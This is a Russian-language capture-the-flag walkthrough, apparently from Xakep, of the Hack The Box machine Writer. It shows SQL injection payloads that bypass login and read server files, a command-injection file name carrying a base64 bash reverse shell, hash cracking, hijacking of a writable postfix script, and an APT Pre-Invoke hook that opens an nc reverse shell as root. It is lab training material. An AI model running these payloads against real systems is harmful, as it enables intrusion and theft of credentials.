Хакер - HTB Writer. Ломаем приложение на Django, чтобы захватить веб-сервер

Хакер - HTB Writer. Ломаем приложение на Django, чтобы захватить веб-сервер

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Служба SMB
  • Сканирование веб-контента
  • Точка входа
  • Точка опоры
  • Получение пользователя
  • Поиск учетных данных
  • Продвижение
  • Локальное повышение привилегий

В этой статье я покажу, как с помощью SQL-инъ­екции получить исходные коды при­ложе­ния, затем про­экс­плу­ати­руем уяз­вимость заг­рузки и обра­бот­ки фай­лов, а под конец поищем путь к повыше­нию при­виле­гий через монито­ринг запус­каемых поль­зовате­лем про­цес­сов. Все это пот­ребу­ется, что­бы прой­ти сред­нюю по слож­ности машину Writer с пло­щад­ки Hack The Box.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.10.101 writer.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

На­ходим четыре откры­тых пор­та:

  • 22 — служ­ба OpenSSH 8.2p1;
  • 80 — веб‑сер­вер Apache 2.4.1;
  • 139 — служ­ба NetBIOS;
  • 445 — служ­ба smbd 4.6.2.

Справка: брутфорс учеток

Пос­коль­ку в начале у нас нет учет­ных дан­ных, нет и смыс­ла изу­чать служ­бы, которые всег­да тре­буют авто­риза­ции (нап­ример, SSH). Единс­твен­ное, что мы можем делать здесь, — это переби­рать пароли брут­форсом, но у машин с HTB поч­ти всег­да есть дру­гое про­хож­дение. В жиз­ни таких вари­антов может не быть, к тому же есть шан­сы подоб­рать пароль или получить его при помощи соци­аль­ной инже­нерии.

Служба SMB

Пос­мотрим, что мы смо­жем узнать об SMB без учет­ных дан­ных. Для это­го дос­таточ­но все­го одной коман­ды:

enum4linux -a writer.htb

По­лучен­ные поль­зовате­ли

Из инте­рес­ной информа­ции — два име­ни поль­зовате­лей kyle и john.

Сканирование веб-контента

Заг­лянем на глав­ную стра­ницу сай­та. Здесь ничего инте­рес­ного нет, раз­ве что име­на авто­ров над каж­дым пос­том. В таких слу­чаях нуж­но искать допол­нитель­ные стра­ницы при помощи сле­пого перебо­ра. Прос­каниру­ем дирек­тории в кор­невом катало­ге сай­та с помощью ffuf.

ffuf -u http://writer.htb/FUZZ -fc 403 -t 200 -w directory_2.3_medium.txt

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -w — сло­варь (исполь­зуем directory-list-2.3-medium из набора SecLists);
  • -t — количес­тво потоков;
  • -u — URL;
  • -fc — исклю­чить из резуль­тата отве­ты с кодом 403.
Ре­зуль­тат ска­ниро­вания фай­лов

По­мимо извес­тных нам стра­ниц, мы наш­ли вход в админку. Там нас ждет фор­ма авто­риза­ции.

Фор­ма авто­риза­ции

ТОЧКА ВХОДА

Так как сайт самопис­ный, я решил про­тес­тировать обход аутен­тифика­ции для раз­ных тех­нологий. Начал, конеч­но же, с SQL-инъ­екции. Перево­дим зап­рос в Burp Intruder и под­став­ляем спи­сок наг­рузок и в поле логина, и в поле пароля (у меня свой спи­сок, но их пол­но на GitHub). В резуль­тате находим пос­ледова­тель­нос­ти, которые воз­вра­щают мень­ше дан­ных, чем все осталь­ные.

Пе­ребор наг­рузок с помощью Burp Intruder

Это работа­ет, так как, ско­рее все­го, на сто­роне сер­вера исполь­зует­ся SQL-зап­рос вро­де такого (код при­мер­ный):

select __ from __ where username='$_POST["username"]' and password=''$_POST["password"]'

При исполь­зовании наг­рузки admin' # мы прев­раща­ем его в зап­рос вида select __ from __ where username='admin', так как решет­ка — это сим­вол, обоз­нача­ющий в SQL начало ком­мента­рия. Исполь­зуем эту наг­рузку и получа­ем дос­туп к админке сай­та.

Стра­ница адми­нис­тра­тора сай­та

Из инте­рес­ного на стра­нице лишь фор­ма заг­рузки фай­лов. Одна­ко преж­де, чем изу­чать ее, я решил вер­нуть­ся к SQL-инъ­екции. Из нее явно мож­но выжать что‑то еще! Давай потес­тиру­ем фор­му авто­риза­ции и отпра­вим на перебор сло­варь с дру­гими наг­рузка­ми. Получим нес­коль­ко резуль­татов.

Тес­тирова­ние boolean based инъ­екций
Тес­тирова­ние UNION based инъ­екций

Инъ­екции типа boolean и UNION based дают положи­тель­ный резуль­тат. Опи­раясь на пер­вую, мы можем пос­тро­ить «воп­роситель­ный» зап­рос и смо­жем получать отве­ты о том, вер­но или невер­но какое‑то наше пред­положе­ние. UNION based инъ­екции помога­ют извле­кать за один зап­рос боль­шие объ­емы дан­ных. Поэто­му выбира­ем вто­рой тип.

При этом мы уже зна­ем количес­тво стол­бцов в исполь­зуемой таб­лице — их шесть. Давай опре­делим, дан­ные из каких стол­бцов выводят­ся в отве­те. Для это­го в каж­дом стол­бце переда­дим уни­каль­ную пос­ледова­тель­ность и поищем ее в получа­емой стра­нице. При записи наг­рузки в Burp выделим ее и наж­мем Ctrl-U для URL-кодиро­вания.

UNION ALL SELECT 888,8888,88888,888888,8888888,88888888 #

Оп­ределе­ние целево­го стол­бца таб­лицы

По количес­тву вось­мерок опре­деля­ем вто­рой стол­бец! Теперь про­верим тип дан­ных. Нап­ример, вот такой стро­кой:

UNION ALL SELECT 888,"TEST_SQL",88888,888888,8888888,88888888#

Тес­тирова­ние строч­ного типа дан­ных

Как мы видим, стро­ка отоб­разилась в отве­те. Получим име­ющиеся базы дан­ных. Что­бы объ­еди­нить нес­коль­ко строк в одну, исполь­зуем фун­кции concat или group_concat.

UNION ALL SELECT 1,concat(':::',schema_name),3,4,5,6 from information_schema.schemata #

Ба­зы дан­ных

Те­перь получим таб­лицы из таб­лицы writer. Что­бы не копиро­вать дан­ные каж­дый раз, мож­но исполь­зовать Burp Inspector. Тог­да кодиров­ка будет выпол­нять­ся авто­мати­чес­ки.

asd' UNION ALL SELECT 1,group_concat(0x7c,table_name,0x7c),3,4,5,6 from information_schema.tableas WHERE table_schema = 'writer'#

Таб­лицы

По­луча­ем таб­лицы. Ско­рее все­го, в users смо­жем най­ти учет­ные дан­ные. Давай узна­ем име­на стол­бцов из этой таб­лицы.

asd' UNION ALL SELECT 1,group_concat(0x7c,column_name,0x7c),3,4,5,6 from information_schema.columns WHERE table_name = 'users'#

Име­на стол­бцов в таб­лице users

От­лично, име­ем username и password. Дам­пим пароли.

asd' UNION ALL SELECT 1,group_concat(0x7c,password,0x7c),3,4,5,6 from users#

Хеш пароля поль­зовате­ля

По­луча­ем хеш. Толь­ко есть одна заг­воз­дка — он нам ничего не дает. Поэто­му нуж­но сно­ва менять век­тор ата­ки. Поп­робу­ем читать фай­лы с сер­вера, к при­меру из /etc/passwd.

asd' UNION ALL SELECT 1,LOAD_FILE('/etc/passwd'),3,4,5,6#

Со­дер­жимое фай­ла /etc/passwd

Зап­рос успешно обра­ботан, и мы получа­ем все содер­жимое фай­ла.

ТОЧКА ОПОРЫ

Так как мы можем читать фай­лы на сер­вере, сле­дующий наш шаг — получить и про­ана­лизи­ровать исходные коды сай­та. Что­бы узнать путь к фай­лам сай­та, взгля­нем на файл кон­фигура­ций Apache /etc/apache2/sites-enabled/000-default.conf.

asd' UNION ALL SELECT 1,LOAD_FILE("/etc/apache2/sites-enabled/000-default.conf"),3,4,5,6#

Файл кон­фигура­ций Apache

Те­перь мы зна­ем путь к фай­лу writer.wsgi на сер­вере. WSGI (Web Server Gateway Interface) — стан­дарт вза­имо­дей­ствия меж­ду прог­раммой на Python, работа­ющей на сто­роне сер­вера, и самим веб‑сер­вером. Получим содер­жимое это­го фай­ла.

asd' UNION ALL SELECT 1,LOAD_FILE("/var/www/writer.htb/writer.wsgi"),3,4,5,6#

Со­дер­жимое фай­ла wsgi.py

Этот файл содер­жит код, который выпол­няет модуль Apache mod_wsgi, что­бы получить объ­ект при­ложе­ния. В дан­ном слу­чае мы узна­ем про модуль writer. Имен­но из это­го катало­га мы получим файл __init__.py.

asd' UNION ALL SELECT 1,LOAD_FILE("/var/www/writer.htb/writer/__init__.py"),3,4,5,6#

Я ско­пиро­вал весь код и вста­вил в VS Code — так будет удоб­нее ана­лизи­ровать. В исходном коде обра­тим вни­мание на исполь­зования модуля os и вызов фун­кции system, которая поз­воля­ет выпол­нять коман­ды при помощи коман­дно­го интер­пре­тато­ра сис­темы. Пог­рузим­ся в ана­лиз имен­но на этом мес­те, так как подоб­ные вызовы всег­да опас­ны.

Со­дер­жимое глав­ного фай­ла сай­та

Так, при заг­рузке фай­ла с URL про­веря­ется его рас­ширение, оно дол­жно быть .jpg (стро­ка 108). Далее про­исхо­дит получе­ние фай­ла и его раз­мещение вызовом коман­ды mv (стро­ки 110–112). Затем про­веря­ется изоб­ражение (стро­ки 114–116), если успешно — той же коман­дой mv оно переме­щает­ся из вре­мен­ной дирек­тории в дирек­торию на веб‑сер­вере (стро­ки 117–119). Если про­вер­ка не прой­дена, коман­да rm уда­ляет файл.

Так как допол­нитель­ных про­верок не пре­дус­мотре­но, мы можем соз­дать кон­вей­ер команд и выпол­нить инъ­екцию. Это даст уда­лен­ное выпол­нение кода. Плюс ко все­му про­вер­ка отсутс­тву­ет и при заг­рузке фай­ла через фор­му. Так мы можем заг­рузить файл, наз­вание которо­го будет содер­жать цепоч­ку команд с реверс‑шел­лом, а затем ука­зать заг­рузку фай­ла через URL с локаль­ного хра­нили­ща, что при­ведет к выпол­нению этой цепоч­ки команд.

Те­перь собира­ем цепоч­ку команд. Будем исполь­зовать такой реверс‑шелл:

bash -i >& /dev/tcp/10.10.14.121/4321 0>&1

За­коди­руем его в Base64. Цепоч­ка дол­жна переда­вать закоди­рован­ный реверс‑шелл в декоди­ров­щик Base64, а затем фай­лу коман­дной обо­лоч­ки.

touch '1.jpg; `echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMjEvNDMyMSAwPiYxCg== |base64 -d |bash -i`'

Заг­рузка фай­ла через фор­му

В дирек­тории с заг­ружен­ными фай­лами уви­дим свой.

Заг­ружен­ные на сер­вер фай­лы

Так как мы заг­рузили реверс‑шелл, запус­тим лис­тенер:

rlwrap nc -lvp 4321

Справка: реверс-шелл

Об­ратный шелл — это под­клю­чение, которое акти­виру­ет ата­куемая машина, а мы при­нима­ем и таким обра­зом под­клю­чаем­ся к ней, что­бы выпол­нять коман­ды от лица поль­зовате­ля, который запус­тил шелл. Для при­ема соеди­нения необ­ходимо соз­дать на локаль­ной машине listener, то есть «слу­шатель».

В таких слу­чаях при­годит­ся rlwrap — readline-обо­лоч­ка, которая в чис­ле про­чего поз­воля­ет поль­зовать­ся исто­рией команд. Она обыч­но дос­тупна в репози­тории дис­три­бути­ва.

В качес­тве самого лис­тенера при этом мож­но исполь­зовать широко извес­тный netcat.

Те­перь выпол­ним заг­рузку через URL, при этом в Burp Proxy изме­ним путь на локаль­ный и добавим к коман­де знак ком­мента­рия. В окне лис­тенера получим бэк­коннект.

Заг­рузка фай­ла через URL
Бэк­коннект от сер­вера

ПОЛУЧЕНИЕ ПОЛЬЗОВАТЕЛЯ

Поиск учетных данных

В боль­шинс­тве слу­чаев, ког­да мы собира­емся поменять кон­текст на поль­зователь­ский, нам для это­го нуж­ны учет­ные дан­ные. Так как на сер­вере работа­ет веб‑при­ложе­ние, мы можем попытать­ся получить пароли из него. В кон­фигура­цион­ном фай­ле MySQL /etc/mysql/mariadb.cnf находим све­дения для под­клю­чения к базе дан­ных.

Со­дер­жимое дирек­тории /etc/mysql/
Учет­ные дан­ные для под­клю­чения к базе дан­ных

Сна­чала я про­верил, не под­ходит ли этот пароль к акка­унтам сис­темных поль­зовате­лей, но успе­ха не добил­ся. Поэто­му про­дол­жим копать­ся в базе дан­ных.

python3 -c 'import pty;pty.spawn("/bin/bash")'

mysql -u djangouser -h 127.0.0.1 -p

Пос­ле под­клю­чения коман­дой show databases; прос­мотрим сущес­тву­ющие базы дан­ных.

Ба­зы дан­ных

Вто­рая база слу­жеб­ная, поэто­му нам инте­рес­на пер­вая. Под­клю­чаем­ся к ней и смот­рим таб­лицы.

use dev;

show tables;

Под­клю­чение к базе дан­ных
Таб­лицы в базе dev

А теперь учет­ные дан­ные из таб­лицы auth_user.

select username,password from auth_user;

Со­дер­жимое таб­лицы auth_user

Мы получа­ем хеш, который нуж­но проб­рутить. Для это­го нам надо знать алго­ритм и соот­ветс­тву­ющий ему режим hashcat. Узнать их мож­но такой коман­дой:

hashcat --example | grep pbkdf2_sha256 -A2 -B2

По­луче­ние режима hashcat

Те­перь мы зна­ем режим (10000) и можем проб­рутить хеш. Ука­зыва­ем перебор по сло­варю (опция -a 0), режим (опция -m), файл с хешем и сло­варь. Спус­тя нес­коль­ко минут мы получа­ем пароль.

hashcat -a 0 -m 10000 hash.pbkdf2 ../tools/rockyou.txt

По­лучен­ный пароль поль­зовате­ля

Под­клю­чаем­ся по SSH и забира­ем пер­вый флаг.

Флаг поль­зовате­ля

ПРОДВИЖЕНИЕ

При поис­ке пути прод­вижения сто­ит смот­реть не толь­ко на запущен­ное ПО, но и на прос­лушива­емые пор­ты. Это свя­зано с тем, что некото­рые сер­висы могут быть дос­тупны толь­ко для поль­зовате­лей локаль­ного компь­юте­ра. Обра­щаем вни­мание на порт 25 — это порт поч­тового сер­вера.

Спи­сок прос­лушива­емых пор­тов

Мы зна­ем двух поль­зовате­лей, и один у нас уже под кон­тро­лем. Мне ста­ло инте­рес­но, что про­изой­дет в сис­теме, если я отправ­лю дру­гому поль­зовате­лю сооб­щение.

Для монито­рин­га всех запус­каемых в сис­теме про­цес­сов в реаль­ном вре­мени будем исполь­зовать ути­литу pspy64. Заг­ружа­ем ее на хост, откры­ваем еще одну сес­сию SSH и запус­каем. Затем с помощью netcat под­клю­чим­ся к 25-му пор­ту и, исполь­зуя слу­жеб­ные заголов­ки SMTP, отпра­вим сооб­щение.

nc 127.0.0.1 25

helo [сервер]

MAIL FROM: [отправитель]

RCPT TO: [получатель]

DATA

[сообщение]

От­прав­ка сооб­щения
Ло­ги pspy

Со­обще­ние вста­ло в оче­редь, а в логах pspy уви­дим активность: запуск pipe и пос­леду­ющее выпол­нение /etc/postfix/disclaimer от име­ни поль­зовате­ля с UID, рав­ным 1001 (поль­зователь john). При этом мы име­ем пра­во на запись в дан­ный файл!

Пра­ва на файл /etc/postfix/disclaimer

Это путь к зах­вату дру­гого поль­зовате­ля. Мы дол­жны записать в него реверс‑шелл и отпра­вить новое пись­мо, тог­да наш реверс‑шелл будет выпол­нен от име­ни дру­гого поль­зовате­ля.

Из­менен­ный файл disclaimer

Что­бы это про­изош­ло навер­няка, будем в бес­конеч­ном цик­ле отправ­лять сооб­щения и в дру­гом бес­конеч­ном цик­ле переза­писы­вать файл. Вот скрипт для переза­писи фай­ла:

while true ; do cp disclaimer /etc/postfix/disclaimer ; done

Для удоб­ной отправ­ки сооб­щения одной коман­дой исполь­зуем кли­ент swaks.

swaks --to [получатель] --from [отправитель] --server [сервер] --port [порт] --body [файл с сообщением]

Но отправ­лять будем через Socks-тун­нель. Сде­лать его мож­но легитим­ным SSH:

ssh -D 9090 kyle@writer.htb

Те­перь весь тра­фик, при­ходя­щий на локаль­ный порт 9090, будет рет­ран­сли­рован в тун­нель. В качес­тве рет­ран­сля­тора будем исполь­зовать Proxychains. Откры­ваем лис­тенер коман­дой rlwrap nc -lvp [port], запус­каем цикл перепи­сыва­ния фай­ла, а потом начина­ем в таком же цик­ле отправ­лять сооб­щения:

while true; do ; proxychains -q swaks --to john@writer.htb --from kyle@writer.htb --server 127.0.0.1 --port 25 --body message.txt ; done

По­лучен­ный бэк­коннект

По­луча­ем бэк­коннект, забира­ем при­ват­ный ключ поль­зовате­ля и под­клю­чаем­ся заново по ста­биль­ному SSH.

Но­вая сес­сия SSH

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Ес­ли ты очень вни­матель­но изу­чишь логи pspy, то заметишь еще один инте­рес­ный факт — пос­тоян­ный запуск коман­ды apt update для обновле­ния информа­ции о репози­тори­ях apt.

Ло­ги pspy

По информа­ции из базы GTFOBins, у нас была бы воз­можность повысить при­виле­гии, если бы мы сами выпол­няли эту коман­ду через sudo.

Из вывода коман­ды id мы можем узнать, что текущий поль­зователь — член груп­пы management. Поис­кав фай­лы, дос­тупные для этой груп­пы (find / -group management 2>/dev/null), обна­ружим дирек­торию apt.conf.d.

Пра­ва на каталог /etc/apt/apt.conf.d/

Все фай­лы в /etc/apt/apt.conf.d/ — это инс­трук­ции, нас­тра­ивающие APT. APT при­меня­ет их в алфа­вит­ном поряд­ке, поэто­му более поз­дняя инс­трук­ция может изме­нять парамет­ры, уста­нов­ленные пред­шес­тву­ющи­ми ей инс­трук­циями. То есть мы можем соз­дать файл кон­фигура­ции, в котором перед обновле­нием репози­тори­ев выпол­ним реверс‑шелл в при­виле­гиро­ван­ном кон­тек­сте. Откры­ваем лис­тенер (rlwrap -lvp 4321) и запол­няем кон­фиг.

echo 'apt::Update::Pre-Invoke {“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.151 4321 >/tmp/f”};’ > /etc/apt/apt.conf.d/ralf.conf

Как толь­ко выпол­нится коман­да apt-get update, мы получим бэк­коннект.

Флаг рута

Мы получи­ли пол­ный кон­троль над машиной и заб­рали флаг рута!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei


Report Page